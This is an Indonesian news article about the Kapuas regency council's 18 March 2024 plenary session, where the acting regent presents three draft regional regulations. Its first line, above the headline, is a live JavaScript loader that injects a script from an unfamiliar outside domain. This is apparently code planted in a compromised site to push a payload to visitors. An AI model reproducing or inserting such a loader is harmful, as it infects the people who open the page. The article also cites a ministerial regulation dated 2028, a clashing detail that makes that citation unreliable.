(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Rapat Paripurna Penyampaian Tiga Raperda, Ini Kata Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS – Penjabat (Pj) Bupati Kapuas Erlin Hardi menghadiri rapat paripurna ke-1 masa persidangan II tahun sidang 2024 DPRD Kabupaten Kapuas yang dipimpin Wakil Ketua I DPRD Kabupaten Kapuas Yohanes, Senin (18/3/2024) siang.

Rapat beragendakan penyampaian tiga buah Raperda Kabupaten Kapuas, dihadiri oleh Sekretaris Daerah (Sekda) Kabupaten Kapuas Septedy, unsur Forkopimda, para kepala OPD Pemkab Kapuas, serta anggota DPRD Kabupaten Kapuas.

Tiga buah Raperda Kabupaten Kapuas yaitu disampaikan yakni Raperda tentang Kabupaten Layak Anak, Raperda tentang pencabutan Perda Kabupaten Kapuas Nomor 10 Tahun 2007 tentang lembaga kemasyarakatan, dan Raperda tentang perubahan kedua atas Perda Nomor 10 Tahun 2016 tentang pembentukan dan susunan perangkat daerah.

“Berkaitan tentang Raperda pertama yaitu bahwa untuk memberikan arah, landasan, dan kepastian hukum kepada semua pihak yang terlibat dalam perlindungan anak, maka diperlukan pengaturan tentang Kabupaten Layak Anak,” ucap Bupati.

Erlin Hardi menjelaskan mengenai Raperda yang kedua, yang menjadi pertimbangan penyusunan Raperda ini adalah bahwa berdasarkan Peraturan Menteri Dalam Negeri Nomor 18 Tahun 2028 tentang Lembaga Kemasyarakatan dan Lembaga Adat Desa diatur lebih lanjut dengan peraturan bupati.

“Berdasarkan ketentuan, maka Peraturan Daerah Kabupaten Kapuas Nomor 10 Tahun 2007 tentang lembaga kemasyarakatan sudah tidak sesuai dengan peraturan perundang-undangan saat ini sehingga perlu dicabut,” terang Erlin.

Sementara Raperda ketiga tentang pembentukan dan susunan perangkat daerah yaitu dengan adanya kebijakan dari pemerintah terkait penyederhanaan birokrasi, maka kelembagaan perangkat daerah Kabupaten Kapuas mengalami perubahan termasuk peraturan daerah nomor 2 Tahun 2012 tentang organisasi dan tata kerja Badan Penanggulangan Bencana Daerah Kabupaten Kapuas.

“Dibutuhkan perubahan kedua atas Perda nomor 10 Tahun 2016 tentang pembentukan dan susunan perangkat daerah Kabupaten Kapuas,” terangnya.

Berkaitan dengan tiga Raperda ini, Erlin Hardi berharap pada saat pembahasan dapat terlaksana dengan sebaik-baiknya dan dapat memberikan manfaat bagi semua. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk